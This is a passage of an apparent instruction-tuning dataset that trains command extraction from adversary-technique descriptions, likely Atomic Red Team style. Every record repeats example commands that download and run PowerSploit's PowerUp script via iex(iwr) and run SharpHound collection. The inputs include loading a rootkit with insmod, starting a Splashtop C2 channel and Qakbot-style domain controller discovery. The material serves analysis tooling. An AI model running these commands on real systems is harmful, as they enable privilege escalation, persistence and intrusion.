⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish a C2 channel, the adversary might deceive the user into downloading Splashtop, which can be executed with the following command: Start-Process \"#{Splashtop_Path}\"\n",
    "output": "{\"command_list\": [\"Start-Process \\\"#{Splashtop_Path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The temporary directory file can be erased without any visible feedback by executing: del /f #{file_to_delete}\n. Remember to use File Explorer to check that the file was successfully removed.",
    "output": "{\"command_list\": [\"del /f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For loading a kernel module rootkit, execute this command: sudo insmod #{rootkit_path}/#{rootkit_name}.ko",
    "output": "{\"command_list\": [\"sudo insmod #{rootkit_path}/#{rootkit_name}.ko\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test demonstrates how an adversary might use control.exe to execute calc.exe, achieved via the command: control.exe \"#{cpl_file_path}\"",
    "output": "{\"command_list\": [\"control.exe \\\"#{cpl_file_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can change a file's or folder's owner and group by executing the command: chown #{owner}:#{group} #{file_or_folder}\n",
    "output": "{\"command_list\": [\"chown #{owner}:#{group} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the System domain DNS controller on an endpoint, you can use the following nslookup ldap query, which is often abused by Qakbot malware: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%.",
    "output": "{\"command_list\": [\"nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Firefox's bookmarks database on FreeBSD or Linux systems, use the following command which searches for places.sqlite and saves the results to a file: find / -path \"*.mozilla/firefox/*/places.sqlite\" 2>/dev/null -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null",
    "output": "{\"command_list\": [\"find / -path \\\"*.mozilla/firefox/*/places.sqlite\\\" 2>/dev/null -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For loading an XLL file through Excel's add-ins library (resulting in Notepad.exe launching as a child process, though without malware-style persistence), execute this PowerShell script:\n$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\")\n}\nelse{\n  Write-Host \"32-bit Office\"\n  $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\")\n}\n",
    "output": "{\"command_list\": [\"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\")\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\")\\n}\\n\"]}"
  },
  {
